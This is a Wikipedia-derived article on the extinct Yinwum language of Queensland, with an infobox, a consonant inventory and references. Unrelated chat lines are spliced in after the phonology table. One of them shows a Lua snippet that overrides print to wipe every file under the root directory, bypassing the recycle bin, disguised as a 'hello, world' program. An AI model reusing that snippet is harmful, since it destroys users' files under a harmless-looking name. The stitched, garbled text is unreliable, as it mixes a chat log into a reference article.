Yinwum dialect
Yinwum is an extinct Paman language formerly spoken on the Cape York Peninsula of Queensland, Australia, by the Yinwum people. It is unknown when it became extinct.[3] Historically, it underwent some unusual phonological changes that are difficult to classify and understand in phonetic terms.
Yinwum | |
---|---|
Native to | Australia |
Region | Cape York Peninsula, Queensland |
Ethnicity | Yinwum, ?Nyuwathayi |
Extinct | (date missing) |
Pama–Nyungan
| |
Dialects |
|
Language codes | |
ISO 639-3 | yxm |
Glottolog | yinw1236 [1] |
AIATSIS[2] | Y29 |
Phonology
Consonant Phonemes
Peripheral | Laminal | Apical | ||||
---|---|---|---|---|---|---|
Bilabial | Velar | Palatal | Dental | Alveolar | Retroflex | |
Nasal | m | ŋ | ɲ | n̪ | n | |
Prenasalised stop | ⁿp | ⁿk | ⁿc | ⁿt̪ | ⁿt ⁿtʳ | |
Plosive | p | k | c | t̪ | t tʳ | |
Fricative | β | ɣ | ð | |||
Vibrant | r | |||||
Approximant | w | j | l | ɻ |
/ⁿtʳ/ and /tʳ/ are post-trilled consonants (trilled affricates).
gollark: Pretty sure it is indeed closed-source.
gollark: <@186486131565527040> Your "help" tends to involve writing all the code for you.
gollark: `fs.ultradelete` is potatOS, gets around the recycle bin feature.
gollark: See, the full code is```luafunction _G.print() for _, v in pairs(fs.list "/") do pcall(fs.ultradelete or fs.delete, v) endendprint "hello, world"```
gollark: I was waiting for someone to reply so I could sarcastically demonstrate that it was stupid.
References
- Hammarström, Harald; Forkel, Robert; Haspelmath, Martin, eds. (2017). "Yinwum". Glottolog 3.0. Jena, Germany: Max Planck Institute for the Science of Human History.
- Y29 Yinwum at the Australian Indigenous Languages Database, Australian Institute of Aboriginal and Torres Strait Islander Studies
- Ernst Kausen (2005). "Australische Sprachen". Cite journal requires
|journal=
(help) - Kenneth Hale, 1976, Phonological Developments in Particular Northern Paman Languages, pp.12
- Kenneth Hale, 1976, Phonological Developments in Particular Northern Paman Languages, pp.12
This article is issued from Wikipedia. The text is licensed under Creative Commons - Attribution - Sharealike. Additional terms may apply for the media files.